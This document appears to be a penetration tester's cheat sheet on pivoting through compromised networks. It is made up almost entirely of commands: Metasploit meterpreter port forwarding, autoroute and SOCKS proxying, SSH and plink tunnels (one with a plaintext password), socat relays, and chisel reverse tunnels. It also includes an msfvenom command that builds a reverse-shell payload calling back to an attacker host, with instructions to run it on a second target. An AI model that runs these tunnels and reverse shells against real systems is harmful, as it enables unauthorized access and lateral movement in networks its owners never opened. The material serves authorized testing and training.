

pivoting

```
PORt FORWARDING "port to port":  
----MSF----  
Most platforms  
  
Forward:  
Get meterpreter session on one of the dual homed machines  
portfwd add -l 4445 -p 4443 -r 10.1.1.1  
Use -R to make it reverse  
  
----SSH----  
For Linux  
  
~C "if you already have an SSH session"  
  
-R 8081:172.24.0.2:80 (on my Kali machine listen on 8081, get it from 172.24.0.2:80)  
<KALI 10.1.1.1>:8081<-----<REMOTE 172.24.0.2>:80  
Now you can access 172.24.0.2:80, which you didn't have direct access to  
  
-L 8083:127.0.0.1:8084 (on your machine listen on 8083, send it to my Kali machine on 8084)  
<KALI 127.0.0.1>:8084<-----<REMOTE 10.1.1.230>:8083<-----<REMOTE X.X.X.X>:XXXX  
run nc on port 8084, and if 10.1.1.230:8083 receives a reverse shell, you will get it  
  
For reverse shell:  
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.230 LPORT=8083 -f exe -o shell  
Run it on 2nd remote target to get a shell on Kali  
  
Or if you didn't have an SSH session, then SSH to your Kali from target machine:  
On Kali: service ssh start "add a user, give it /bin/false in /etc/passwd"  
ssh - -R 12345:192.168.122.228:5986 test@10.1.1.1  
  
---PLINK---  
Just like SSH, on Windows  
service ssh start , and transfer /usr/share/windows-binaries/plink.exe to the target machine  
On Target: plink.exe 10.1.1.1 -P 22 -C -N -L 0.0.0.0:4445:10.1.1.1:4443 -l KALIUSER -pw PASS  
  
---SOCAT---  
For linux  
  
Forward your 8083 to 62.41.90.2:443  
. /socat TCP4-LISTEN:8083,fork TCP4:62.41.90.2:443  
  
---CHISEL---  
Most platforms  
Remote static tunnels "port to port":  
  
On Kali "reverse proxy listener":  
. /chisel server -p 8000 -reverse  
  
General command:  
. /chisel client <YOUR IP>:<YOUR CHISEL SERVER PORT> L/R:[YOUR LOCAL IP]:<TUNNEL LISTENING PORT>:<TUNNEL TARGET>:<TUNNEL  
  
Remote tunnels "access IP:PORT you couldn't access before":  
On Target:  
. /chisel client 10.1.1.1:8000 R:127.0.0.1:8001:172.19.0.3:80  
  
Local tunnels "listen on the target for something, and send it to us":  
On Target:  
. /chisel client 10.1.1.1:8000 9001:127.0.0.1:8003  
-----  
DYNAMIC "port to any":  
setup proxychains with socks5 on 127.0.0.1:1080
```

```
Or set up socks5 proxy on firefox
For nmap use -Pn -sT or use tcp scanner in msf

----MSF----
Most platforms

Get meterpreter session on one of the dual homed machines
Auto route to 10.1.1.0 (multi/manage/autoroute)
Start socks proxy (auxiliary/server/socks4a)

(portscan once created route)
use auxilliary/scanner/portscan/tcp
set RHOSTS IP (pivoting onto that's not part of arpscan you ran)
(if a machine has port 80 and webports, to check it through out machine we have to create a portforward)
portfwd add -l 8001 -p 80 -r IP
(then go to 127.0.0.1:8001)

----SSH----
For Linux
-D1080

---PLINK---
Just like SSH, on Windows
On Target: plink.exe 10.1.1.1 -P 22 -C -N -D 1080 -l KALIUSER -pw PASS

---CHISEL---
Most platforms

On Kali:
./chisel server -p 8000 -reverse

On Target:
./chisel client 10.1.1.1:8000 R:8001:127.0.0.1:1080
./chisel server -p 8001 --socks5

On Kali:
./chisel client 127.0.0.1:8001 socks
```